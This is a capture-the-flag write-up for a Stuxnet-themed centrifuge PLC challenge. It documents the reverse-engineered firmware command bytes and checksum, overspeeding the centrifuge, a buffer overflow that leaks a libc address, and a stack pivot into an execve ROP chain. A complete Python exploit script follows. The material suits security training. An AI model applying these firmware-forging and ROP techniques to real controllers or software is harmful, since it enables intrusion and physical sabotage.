PLC Challenge Writeup-------------------------------------------------------------
What a challenge this was.Our team collectively spent over 40 hours solving it, however unfortunately we couldn't solve it until after the CTF had ended ;(enjoy the flag `flag{1s_thi5_th3_n3w_stuxn3t_0r_jus7_4_w4r_g4m3}`
The challenge was a twist on the well known stuxnet virus. It contained 6 sections that built on each other and was a generally fun and interesting challenge.
## Step 1### Execute the default firmwareBy looking at the provide source code we can see that by entering `E` the program will execute the currently loaded firmware ## Step 2### Create our own custom checksummed firmwareThis was one of the harder/longer parts of the challenge. To solve this you had to reverse engineer both the custom `shellcode` used by the centrifuge system, and understand what each command does, as well as reverse engineer the checksum algorithm to digitally sign our own payloads.
Through spending hours stairing at the debugger and following the code flows of different inputs we managed to discover the following commands the firmware would accept
* Reset RPM - 0x30* Clear Material - 0x31* Write one char to new material - 0x32 `letter`* RPM Override off = 0x33 0x30* RPM Override on = 0x33 0x31* Decrement RPM = 0x36* Increment RPM = 0x37* DEBUG ON = 0x38 0x31* DEBUG OFF = 0x38 0x30* EXIT = 0x39
And for custom checksum, we ported the assembler code directly into python instead of trying to understand and recreate it from scratch.
Also a firmware must be 0x400 characters long and in the format of'FW' + checksum + version + commandsWhere the version is 2 numbers (eg 12)
## Step 3### Exceed Normal Centrifuge SpeedsWith the knowledge gained from above, to spin the centrifuges to destruction, we enabled the RPM override, and then calling Increment RPM until the RPM was over a certain threshold. This was pretty trivial with our knowledge gained from the previous step.
## Step 4### Specify some "extra" dangerous materialsThis part of the challenge stumped me for over an hour, I didn't know what it meant by `"extra" dangerous materials`.Using the knowledge from above we could rename the materials used in the centrifuge by converting a string "HELLO" > "2H2E2L2L2O". Simplying putting the digit 2 between each char.We tried renaming the material to all sorts of things (yes i did google `most dangerous nuclear material` and other interesting items and yes I'm definetely on a watchlist somewhere)List of things we tried
* Uranium* extra* "extra"* "extra" dangerous
Eventually someone in our team asked if we had tried specifying an extra long string....nuff said, specify a string with like 100 character length and we get the points (no points just a tick yay)
## Step 5### JK lol get flag and cat shellThis is the part where it all stopped. We had to put everything we had just learnt about this program, and try to somehow get shell.
I forgot to mention a few things..
* PIE/ASLR/NX Are enabled* Execve in LIBC is corrupted so we can't just do a simple ret2libc* So we must somehow create a ROP chain that calls the execve syscall
We found that we were able to control RIP through a lethal `call edx` gadget. However this would only give us a single gadget in which we had to get shell.The trick is to pivot the shell through a nice `add rsp` gadget into a different buffer we control.  
The two buffers we control are * The original terminal which has a 32 character size* The name buffer we control with our command inputs
We can also get a leak because write after our name buffer, is a pointer to an address in libc. So if we fill our buffer with printable characters, we can print out the status/name of our centrifuge, and get an address leak. 
With a libc leak the rop chain is trivial
* pop rax* 0x3b* pop rdi* 0* pop rdx* 0* syscall* shell xx
So if we place the rop chain in our main buffer after "E". The program only looks at the E and called execute, which will then execute our pivot gadget and pivot to our rop chain after the letter "E". perfect.
lovely
> 14 hours of fun
My final python script
```pythonfrom interact import *import structimport time
# globalsWRITE = "2"RPM_ADD = "7"EXIT = "9"RPM_OVERRIDE = "31"DEBUG = "81"
p = Process()time.sleep(5) #bugs?# helper functionsdef unpack(data, fmt="<Q"):    return struct.unpack(fmt, data.ljust(8, "\x00"))[0]
def pack(data, fmt="<Q"):    return struct.pack(fmt, data)
def toWriteCommand(string):   return WRITE + WRITE.join(list(string))
def generate_checksum(string):    count = 2    scount = 0    rbp10 = 0    while count <= 0x1ff:        eax = rbp10        eax <<= 0xc        edx = eax
        eax = rbp10        eax >>= 0x4        eax |= edx
        rbp10 = eax + (count & 0xffff)
        rbp10 &= 0xFFFF        eax = ord(string[scount]) + 16*16*ord(string[scount+1])        rbp10 ^= eax        count += 1        scount += 2
    return chr(rbp10 & 0xff) + chr(rbp10 >> 8)
def gen_fw(rpm, overflow):    commands =  "12" # version    commands += DEBUG    commands += RPM_OVERRIDE # so no issues    commands += toWriteCommand(overflow) # material cmd    commands += (rpm * RPM_ADD) #overflow rpm    commands += EXIT    commands = commands.ljust(0x400 - 4, '\x00')    # Checksum the above commands    checksum = generate_checksum(commands)
    # return completed firmware    return "FW" + checksum + commands
p.sendline("U") #upload firewarmfw = gen_fw(63, "A" * 68 + "XXXXXXXX")p.send(fw)p.sendline("E") # execute firwwarep.sendline("S") # Show status for libc leak
print p.readuntil("XXXXXXXX") # Read until end of our payloadleak = unpack(p.readuntil("\n").strip())libc_base = leak - 0x36ec0 #leak address and calc offset to base of libcprint "Libc leak ", hex(libc_base)
pivot = pack(libc_base + 0xc96a6) # add rsp, 0x38
rop = "A" * 15rop += pack(libc_base + 0x21102) #pop rdirop += pack(libc_base + 0x18cd57) #binsh
rop += pack(libc_base + 0x33544) #pop raxrop += pack(0x3b) #execve syscall
rop += pack(libc_base + 0x202e8) #pop rsirop += pack(0)
rop += pack(libc_base + 0x1b92) #pop rdxrop += pack(0)
rop += pack(libc_base + 0xbc375) #syscall
p.sendline("U") #upload firmwarefw = gen_fw(80, ("X" * 68) + pivot)p.send(fw)p.sendline("E" + rop)
p.interactive()```
